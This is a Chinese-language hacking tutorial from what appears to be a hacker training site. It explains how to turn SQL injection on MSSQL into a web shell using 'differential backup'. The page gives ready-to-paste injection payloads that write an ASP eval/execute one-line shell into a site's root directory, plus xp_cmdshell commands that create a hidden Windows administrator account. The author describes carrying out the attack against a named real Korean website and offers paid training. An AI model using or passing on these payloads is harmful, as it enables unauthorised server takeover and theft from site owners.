点击获取更多： 差异,备份,入侵 相关下载

　

---------------------------------------------------------------------------
爱国者安全网
www.3800hk.com
黑客风云
www.05112.com
专业的网络安全技术培训基地
多抽出一分钟时间学习.让你的生命更加精彩.
动画教程只是起到技术交流作用.请大家不用利用此方法对国内的网络做破坏.
国人应该团结起来一致对外才是我们的责任.由此动画造成的任何后果和本站无关.
---------------------------------------------------------------------------

                                     详解差异备份入侵

 

差异备份步骤：

第一步：得知目标数据库名，类型等相关信息。

第二步：寻找漏洞网站所在服务器中的目录。

第三步：在网站所在服务器中的目录中备份一个一句话。

第四步：利用备份的服务器端文件用客户端得到webshell权限。

－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－

     以下是手动的方法备份拿webshell的具体操作。因为教程时间问题我用工具来做演示。工具就是根据手工而写出来的。

字符型

1.恢复当前库
;alter database 当前库 set RECOVERY FULL--

2.创建表cmd
;create table cmd (a image)--

3.备份当前库到D:\cmd1
;backup log 当前库 to disk = 'D:\cmd1' with init--

4.插入一句话代码到创建的表cmd
;insert into cmd (a) values ('<%%25**ecute(request("a"))%%25>')-- 

5.备份一句话代码到站点根目录
;backup log 当前库 to disk = 'D:\www_web\oct.asp'--

6.完成
';drop table 创建的表--

----------------------------------

数字型

1.恢复当前库
';alter database 当前库 set RECOVERY FULL--

2.创建表cmd
';create table cmd (a image)--

3.备份当前库到D:\cmd1
';backup log 当前库 to disk = 'D:\cmd1' with init--

4.插入一句话代码到创建的表cmd
';insert into cmd (a) values ('<%%25**ecute(request("a"))%%25>')-- 

5.备份一句话代码到站点根目录
';backup log 当前库 to disk = 'D:\www_web\oct.asp'--

6.完成
';drop table 创建的表--

--------------------------------

sa权限创建管理员用户

1.判断是否有注入;and 1=1 ;and 1=2 
;and user_name()='dbo' 判断当前系统的连接用户是不是sa

2.添加系统的管理员
;exec master.dbo.xp_cmdshell 'net user jiaozhu jiaozhu /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators jiaozhu /add';--

----------------------------------------------------------------------------------------------------------------------------

我是木头。又和大家见面了。呵呵。

本人QQ：839627900   QQ群：52633429 有偿收几个徒弟。

对了。上次做了《入侵中国陕西移动官方站》的教程许多站没录取。郁闷。

希望这次做的可以被收录。

http://www.aram.or.kr/  目标站点。利用一个韩国站我给大家教差异备份的方法与步骤。

本来我徒弟问我差异备份是怎样的。他不会。

我准备随便找个站点做出来教程。最后还是用韩国站演示吧。

这个韩国站是存在注入漏洞的。我们拿出啊D注入工具来。

这个站的信息。
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－

当前库：aram_www  类型：字符  MSSQL数据库显错模式

权限为：DB_OWNER  DB权限。使用差异备份拿webshell。

目录：d:\www\aram\

－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－

好的。拿出getwebshell大众版来备份下。在工具上填写相关信息。

经过六个步骤点击。已经成功生成d:\www\aram\1.asp在服务器上了。

这个目录正是这个网站的。所以可以这样。

Microsoft VBScript 繁鸥烙 坷幅 坷幅 '800a000d'

屈侥捞 老摹窍瘤 臼嚼聪促.: 'Execute'

/1.asp, 临 29

表示这个一句话服务端已经成功写入网站了。

接着我们来拿webshell。

<%eval request("mutou")%>   这个表示密码为mutou

* 注意:下载本站软件请使用迅雷软件下载，速度更快、更稳定。 本站统一解压密码为:www.05112.org
* 如果是下载黑客相关软件，请注意自行杀毒！
* 如果您发现该软件不能下载，请通知管理员，谢谢！
* 未经本站明确许可，任何网站不得非法盗链及抄袭本站资源；如引用页面，请注明来自本站，谢谢您的支持！
* 本站软件均收集于网络，如有侵犯您的产权请及时联系我们，我们会在得到反映的24小时内删除这些下载及相应信息！